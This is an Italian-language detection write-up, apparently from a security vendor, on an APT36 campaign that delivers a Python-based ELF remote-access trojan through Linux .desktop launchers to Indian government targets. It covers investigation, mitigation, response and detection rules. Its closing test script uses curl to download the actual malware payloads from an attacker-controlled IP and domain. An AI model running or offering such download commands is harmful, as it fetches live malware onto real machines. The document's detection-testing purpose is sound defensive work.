APT36 Distribuisce Malware Python ELF Contro Entità Governative Indiane
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
APT36 (Transparent Tribe) ha condotto una campagna di spear-phishing che ha depositato file di scorciatoia dannosi .desktop Linux su utenti del governo indiano. Questi launcher recuperano ed eseguono un RAT ELF basato su Python chiamato swcbc da un server controllato dall’attaccante. Il malware mantiene la persistenza attraverso un servizio systemd a livello utente e comunica con il suo C2 tramite HTTP per esfiltrare dati ed eseguire comandi. La campagna evidenzia la crescente capacità del gruppo di operare efficacemente in ambienti Linux.
Indagine
L’indagine ha seguito la catena dall’allegato iniziale .zip al launcher .desktop, al PDF esca, e ai due payload (swcbc ELF binario e script swcbc.sh) scaricati da un indirizzo IP controllato dall’attore. L’analisi ha mostrato che il binario ELF è un RAT Python impacchettato con PyInstaller con capacità di profilazione del sistema, caricamento/scaricamento di file, cattura dello schermo e autoterminazione. La persistenza è implementata registrando un servizio systemd all’interno della directory di configurazione dell’utente.
Mitigazione
Le difese raccomandate includono il blocco dell’esecuzione di binari .desktop, .sh ed ELF ricevuti via email e l’applicazione di esecuzione in sandbox per gli allegati sospetti. Disabilitare l’esecuzione automatica da percorsi scrivibili da tutto il mondo come /tmp e applicare opzioni di montaggio noexec dove possibile. Monitorare il traffico DNS e HTTP per connessioni al dominio e IP dannosi identificati. Applicare un rigoroso controllo delle applicazioni su strumenti come curl e LibreOffice.
Risposta
Quando viene rilevata un’attività, isolare l’host Linux impattato, raccogliere gli artefatti dannosi e l’unità di servizio systemd, e rimuovere la directory nascosta ~/.swcbc. Utilizzare strumenti forensici per estrarre l’ID univoco dell’host e terminare eventuali sessioni C2 in corso. Aggiornare il contenuto di rilevamento con gli IOCs osservati e cercare proattivamente modelli simili nell’ambiente più ampio.
Flusso di attacco
Rilevamenti
Rilevamento di download URL dannosi di APT36 [Proxy]
Visualizza
Esecuzione di script .desktop e Shell dannosi di APT36 [Creazione processo Linux]
Visualizza
IOC (SourceIP) da rilevare: Malware ELF basato su Python di APT36 che prende di mira enti governativi indiani
Visualizza
IOC (DestinationIP) da rilevare: Malware ELF basato su Python di APT36 che prende di mira enti governativi indiani
Visualizza
IOC (HashSha256) da rilevare: Malware ELF basato su Python di APT36 che prende di mira enti governativi indiani
Visualizza
Esecuzione della simulazione
Prerequisito: Il controllo preliminare di Telemetria & Baseline deve essere stato superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare l’esatta telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.
-
Narrazione & comandi dell’attacco:
Un operatore APT-36 ospita tre payload su infrastruttura compromessa e distribuisce i loro URL tramite una email di phishing. La vittima, utilizzando un browser web configurato per instradare il traffico attraverso il proxy aziendale, clicca su ogni link. Il proxy registra ogni richiesta GET, producendo voci che corrispondono alla regolaurl|alllista. I payload sono:- Un binario ELF grezzo (
swcbc) consegnato tramite HTTP. - Uno script shell (
swcbc.sh) che, quando eseguito, installa l’ELF. - Un PDF esca (
Analysis_Proc_Report_Gem.pdf) destinato a incoraggiare l’utente ad aprire il file mentre l’ELF dannoso viene eseguito in background.
- Un binario ELF grezzo (
-
Script di test di regressione:
#!/usr/bin/env bash # Simulazione del download di URL dannosi di APT‑36 - attiva la regola Sigma. set -euo pipefail # Definisci gli URL dannosi (stringhe esatte dalla regola Sigma) urls=( "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc" "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc.sh" "https://lionsdenim.xyz/in/Analysis_Proc_Report_Gem.pdf" ) # Scarica ciascun payload tramite il proxy aziendale. # Presumi che la variabile d'ambiente http_proxy/https_proxy punti al proxy. for u in "${urls[@]}"; do echo "[*] Downloading $u via proxy..." curl -s -O "$u" done echo "[+] All malicious files downloaded. Check proxy logs for matching URLs."Salva lo script come
apt36_simulation.sh, rendilo eseguibile (chmod +x apt36_simulation.sh), e eseguilo sulla workstation protetta. -
Comandi di pulizia:
#!/usr/bin/env bash # Rimuovi tutti i file creati dalla simulazione rm -f swcbc swcbc.sh Analysis_Proc_Report_Gem.pdf echo "[+] Cleanup complete."